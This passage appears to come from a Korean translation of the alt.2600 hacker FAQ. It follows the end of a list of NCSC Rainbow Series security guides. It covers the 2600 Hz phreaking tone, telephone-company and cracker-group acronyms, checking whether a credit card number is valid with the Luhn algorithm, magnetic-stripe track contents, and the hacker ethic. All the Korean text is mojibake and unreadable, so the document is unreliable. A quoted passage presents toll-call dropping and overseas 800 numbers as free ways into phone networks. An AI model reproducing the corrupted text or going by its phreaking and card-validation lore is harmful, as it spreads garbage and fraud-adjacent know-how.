+NCSC-TG-024 (Volume 4/4)

+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's

+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book

NCSC-TG-025

A Guide to Understanding Data Remanence in Automated Information

Systems

Hot Peach Book

NCSC-TG-026

A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book

NCSC-TG-027

A Guide to Understanding Information System Security Officer

Responsibilities for Automated Information Systems

Violet Book

NCSC-TG-028

Assessing Controlled Access Protection

Blue Book

NCSC-TG-029

Introduction to Certification and Accreditation

Light Pink Book

NCSC-TG-030

A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001

Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91

*Integrity in Automated Information Systems

*C Technical Report 39-92

*The Design and Evaluation of INFOSEC systems: The Computer Security

*Contributions to the Composition Discussion

NTISSAM COMPUSEC/1-87

Advisory Memorandum on Office Automation Security Guideline

--

You can get your own free copy of any or all of the books by writing

or calling:

INFOSEC Awareness Division

ATTN: X711/IAOC

Fort George G. Meade, MD 20755-6000

Barbara Keller

(410) 766-8729

If you ask to be put on the mailing list, you'll get a copy of each new

book as it comes out (typically a couple a year).

[* == I have not personally seen this book]

[+ == I have not personally seen this book, and I believe it may not]

[ be available]




alt.2600À̶õ ¹«¾ùÀΰ¡?

Alt.2600´Â Usenet newsgroupÀ¸·Î 2600 ÀâÁö¿¡ ´ëÇÑ ³íÀǸ¦ À§ÇÑ ³»¿ëÀ» Æ÷ÇÔÇÑ´Ù.

AtariÀÇ 2600 °ÔÀÓ ¸Ó½ÅÀ» À§ÇÑ ÀâÁö°¡ ¾Æ´Ï´Ù. [email protected]ÀÌ Emmanuel GoldsteinÀÇ ÃßÀü¿¡ ÀÇÇØ ÀÌ ´º½º±×·ìÀ» ¸¸µé¾ú´Ù. EmmanuelÀº 2600ÀÇ ÆíÁýÀÚ/¹ßÇàÀÎÀÌ´Ù. Atari ¸Ó½Å¿¡ ´ëÇÑ Æ÷½ºÆÃÀÌ ºø¹ßÄ£ ´ÙÀ½ alt.atri.2600ÀÌ alt.2600À¸·Î À߸øµé¾î¿Â Æ÷½ºÆÃÀ» ¹Þ±â À§ÇØ ¸¸µé¾îÁ³´Ù. Atari 2600 »ç¶÷µéÀº rec.games.video.classic·Î °¡±â ¹Ù¶õ´Ù.


2600Àº ¹«¾ùÀ» ÀǹÌÇϳª?

2600Hz´Â ÀüÈ­ ÇÁ¸®Ä¿(phreak)ÀÌ 80³â´ë¿¡ »ç¿ëÇÏ´ø °ÍÀÌ°í ÇöÀç´Â ÀϺÎÀÇ »ç¶÷µéÀÌ »ç¿ëÇÏ°í ÀÖ´Ù. 2600 Ç츣Ã÷ÀÇ À½Àº ³×Æ®¿öÅ©¸¦ ŽÇèÇϴ ù ¹ø° ´Ü°èÀÌ´Ù.

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones

or the 2600 hertz tone. The 2600 hertz tone was simply the first

step towards exploring the network. If you were successful at

getting a toll call to drop, then billing would stop at that

point but there would be billing for the number already dialed

up until the point of seizure. 800 numbers and long distance

information were both free in the past and records of who called

what were either non-existent or very obscure with regards to

these numbers. This, naturally, made them more popular than

numbers that showed up on a bill, even if it was only for

a minute. Today, many 800 numbers go overseas, which provides

a quick and free way into another country's phone system

which may be more open for exploration."


2600ÀÌ ¿Â¶óÀÎ ÇüÅ·ΠÁ¸ÀçÇϴ°¡?

¾øÀ½.


¼­Á¡¿¡¼­ 2600À» ±¸ÇÒ ¼ö ¾ø´Ù¸é ¾î¶»°Ô ÇØ¾ß Çϳª?

±¸µ¶Ç϶ó. ¶Ç´Â 2600°¡ ÀÖ¾î¾ß ÇÒ ¼­Á¡À» 2600¿¡ ¾Ë·ÁÁÖ¶ó. ¼­Á¡À̸§°ú ÁÖ¼Ò¸¦ »©¸ÔÁö ¸» °Í.


2600À» °¡ÆÇ´ë¿¡¼­ »ç´Â °Íº¸´Ù ÁÖ¹®ÇÏ´Â °ÍÀÌ ¿Ö ´õ ºñ½Ñ°¡?

Emmauel GoldsteinÀÇ ¸» :

2600À» 1988³âºÎÅÍ °¡ÆÇ´ë¿¡¼­ ¶È°°Àº °¡°Ý 4´Þ·¯¿¡ ÆȾƿԴÙ. ±×¸®°í ÇÒ ¼ö ÀÖ´Â ÇÑ °è¼Ó ±× °¡°ÝÀ¸·Î ÆǸÅÇÏ°í ½Í´Ù. µ¿½Ã¿¡ ±¸µ¶ÀÚ¿¡°Ô´Â 21´Þ·¯°¡ Á¤´çÇÑ °¡°ÝÀÌ´Ù. ÀÌ °¡°Ý¿¡´Â ¿ìÇ¥¿Í °ü¸® µîÀÇ °¡°ÝÀÌ Æ÷ÇԵȴÙ. ±¸µ¶ÀÚ´Â ¾îµð¼­ ÀâÁö¸¦ ±¸ÇØ¾ß ÇÏ´ÂÁö °ÆÁ¤ÇÒ ÇÊ¿ä°¡ ¾ø´Ù. °¡ÆÇ´ë¿¡¼­ Æȱ⠸îÁÖÀü¿¡ ÀâÁö¸¦ º¼ ¼ö ÀÖ°í 2600 ½ÃÀåÀÇ ¹«·á±¤°í¸¦ º¼ ¼ö ÀÖ´Ù.

ÀÌ·¯ÇÑ °ÍÀº ÃâÆÇ »ê¾÷¿¡¼­ ÈçÇÑ ÀÏÀº ¾Æ´Ï´Ù. ´º¿å ŸÀÓÁî´Â ¿¹¸¦ µé¾î °¡ÆÇ´ë¿¡¼­ $156 ÀÌ µé¾î¾ß »ì ¼ö ÀÖ°í, Áý¿¡ ¹è´ÞÇÒ °æ¿ì $234.75ÀÌ´Ù.


±âŸ

XXX´Â ¹«¾ùÀ» ÀǹÌÇϳª?

TLA Three Letter Acronym

ACL Access Control List

PIN Personal Identification Number

TCB Trusted Computing Base

ALRU Automatic Line Record Update

AN Associated Number

ARSB Automated Repair Service Bureau

ATH Abbreviated Trouble History

BOC Bell Operating Company

BOR Basic Output Report

BOSS Business Office Servicing System

CA Cable

COE Central Office Equipment

COSMOS Computer System for Main Frame Operations

CMC Construction Maintenance Center

CNID Calling Number IDentification

CO Central Office

COCOT Customer Owned Coin Operated Telephone

CRSAB Centralized Repair Service Answering Bureau

DID Direct Inbound Dialing

DDD Direct Distance Dialing

ECC Enter Cable Change

LD Long Distance

LMOS Loop Maintenance Operations System

MLT Mechanized Loop Testing

NPA Numbering Plan Area

PBX Private Branch Exchange

POTS Plain Old Telephone Service

RBOC Regional Bell Operating Company

RSB Repair Service Bureau

SS Special Service

TAS Telephone Answering Service

TH Trouble History

TREAT Trouble Report Evaluation and Analysis Tool

LOD Legion of Doom

HFC Hell Fire Club

TNO The New Order

ACiD Ansi Creators in Demand

CCi Cybercrime International

FLT Fairlight

iCE Insane Creators Enterprise

iNC International Network of Crackers

NTA The Nocturnal Trading Alliance

PDX Paradox

PE Public Enemy

PSY Psychose

QTX Quartex

RZR Razor (1911)

S!P Supr!se Productions

TDT The Dream Team

THG The Humble Guys

THP The Hill People

TRSI Tristar Red Sector Inc.

UUDW Union of United Death Workers



³»°¡ ¹Ù¸¥ ½Å¿ëÄ«µå ¹øÈ£¸¦ °¡Áö°í ÀÖ´ÂÁö ¾î¶»°Ô ȹÀÎÇϳª?

½Å¿ëÄ«µå´Â Luhn Check Digit AlgorithmÀ» »ç¿ëÇÑ´Ù. ÀÌ ¾Ë°í¸®ÁòÀº ÁÖ¿ä ¸ñÀûÀº µ¥ÀÌÅÍÀÇ ¿À·ù¸¦ ã´Â °ÍÀÌ´Ù. ±×¸®°í ¾àÇÑ º¸¾È ±â´Éµµ °¡Áö°í ÀÖ´Ù.

¦¼öÀÇ ÀÚ¸®¼ö¸¦ °¡Áö´Â ¹øÈ£ÀÇ Ä«µå¿¡ ´ëÇؼ­, Ȧ ¼öÀÎ ÀÚ¸®ÀÇ ¼ýÀÚ¸¦ 2¹è·ÎÇÏ°í 9º¸´Ù Å« ¼ýÀÚÀÇ °æ¿ì 9¸¦ »«´Ù. ¦¼ö ÀÚ¸®¿Í 2¹èÇÑ È¦¼öÀÚ¸® ¼ö¸¦ ´õÇÏ¸é ±× °á°ú°¡ 10ÀÇ ¹è¼ö°¡ µÇ¾î¾ß ÇÑ´Ù. ±×·¸Áö ¾Ê´Ù¸é À߸øµÈ Ä«µåÀÌ´Ù. Ä«µå°¡ Ȧ¼öÀÚ¸®ÀÇ ¹øÈ£¶ó¸é, ¦¼ö ÀÚ¸® ¼ýÀÚ¸¦ 2¹èÇؼ­ ¶È°°ÀÌ °è»êÇÏ¸é µÈ´Ù.

ÀÚ±â¶ìÀÇ µ¥ÀÌÅÍ ¹èÄ¡´Â ¾î¶² °ÍÀΰ¡?

Ç¥ÁØ Ä«µå´Â 3°³ÀÇ Æ®·¢¶Ç´Â 3°³ÀÇ Æ®·¢ÀÇ Á¶ÇÕÀÌ ÀÖ´Ù.

Æ®·¢ 1Àº óÀ½À¸·Î Ç¥ÁØÈ­µÈ Æ®·¢ÀÌ´Ù. ±¹Á¦ Ç×°ø ¿î¼ö ¿¬ÇÕ(Internetional Air Transportation Association; IATA)¿¡¼­ °³¹ßÇÏ¿´°í ¾ÆÁ÷µµ ±× ¸ñÀûÀ¸·Î »ç¿ëÇϱâ À§ÇØ ¿¹¾àµÇ¾î ÀÖ´Ù. 210bpi·Î 79ÀÚÁ¤µµ°¡ µé¾î°£´Ù. ÁÖ °èÁ¤ ¹øÈ£¿Í(18 ÀÚ¸®±îÁö) À̸§(26ÀÚÀÇ ¿µ¹® ¼ýÀÚ)¸¦ Æ÷ÇÔÇÑ´Ù.

Æ®·¢ 2´Â ¹Ì±¹ ÀºÇà°¡ ¿¬ÇÕ(American Bankers Association; ABA)¿¡¼­ ¿Â¶óÀÎ Æ®·£Àè¼ÇÀ» À§Çؼ­ °³¹ßÇß´Ù. 75bpi·Î 40°³ÀÇ ¼ýÀÚ¸¦ ³ÖÀ» ¼ö ÀÖ´Â °ø°£ÀÌ ÀÖ´Ù. ¾ÏȣȭµÈ PIN°ú, ±¹°¡¹øÈ£, ÅëÈ­ ´ÜÀ§, Çã¿ëµÈ ±Ý¾×, °èÁ¤Á¤µµ¿Í ´Ù¸¥ Á¦ÇÑ »çÇ×ÀÌ µé¾î ÀÖ´Ù.

ÀÚ¼¼ÇÑ °ÍÀº ANSI/ISO 7811/1-5 ¸¦ Àб⠹ٶõ´Ù. ÀÌ ¹®¼­´Â ¹Ì±¹ ÀºÇà°¡ ¿¬ÇÕ¿¡¼­ º¼ ¼ö ÀÖ´Ù.


ÇØÅ·ÀÇ À±¸®´Â ¹«¾ùÀΰ¡?

Hackers : Heroes of the Computer Revolution, Steven Levy Àú¹ßÃé

ÄÄÇ»ÅÍ¿¡ Á¢±ÙÇÏ´Â °Í - ±×¸®°í ¼¼»óÀÌ ¾î¶»°Ô µ¹¾Æ°¡´ÂÁö ¾Ë·ÁÁÙ ¼ö ÀÖ´Â ¾î¶² °Í -Àº ÀüüÀûÀÌ°í ¹«Á¦ÇÑÀ̾î¾ß ÇÑ´Ù. Ç×»ó ½ÇÁ¦ÀûÀÎ ¸í·É¿¡ µû¸¥´Ù.

¸ðµç Á¤º¸´Â ÀÚÀ¯·Î¿Í¾ß ÇÑ´Ù.

°ø±Ç·ÂÀ» ºÒ½ÅÇÑ´Ù. Áö¿ªºÐ±ÇÀ» ÁöÇâÇÑ´Ù.

ÇØÄ¿´Â ÇØÅ· ´É·ÂÀ¸·Î Æò°¡µÇ¾î¾ßÁö ÇÐÀ§³ª, ³ªÀÌ, ÀÎÁ¾, ÁöÀ§¿Í °°Àº À߸øµÈ ±âÁØÀ¸·Î Æò°¡µÇ¾î¼­´Â ¾È µÈ´Ù.

ÄÄÇ»ÅÍ¿¡¼­ ¹Ì¿Í ¿¹¼úÀ» âÁ¶ÇÒ ¼ö ÀÖ´Ù.

ÄÄÇ»ÅÍ´Â ÀλýÀ» ³ª¾ÆÁö°Ô ÇÑ´Ù.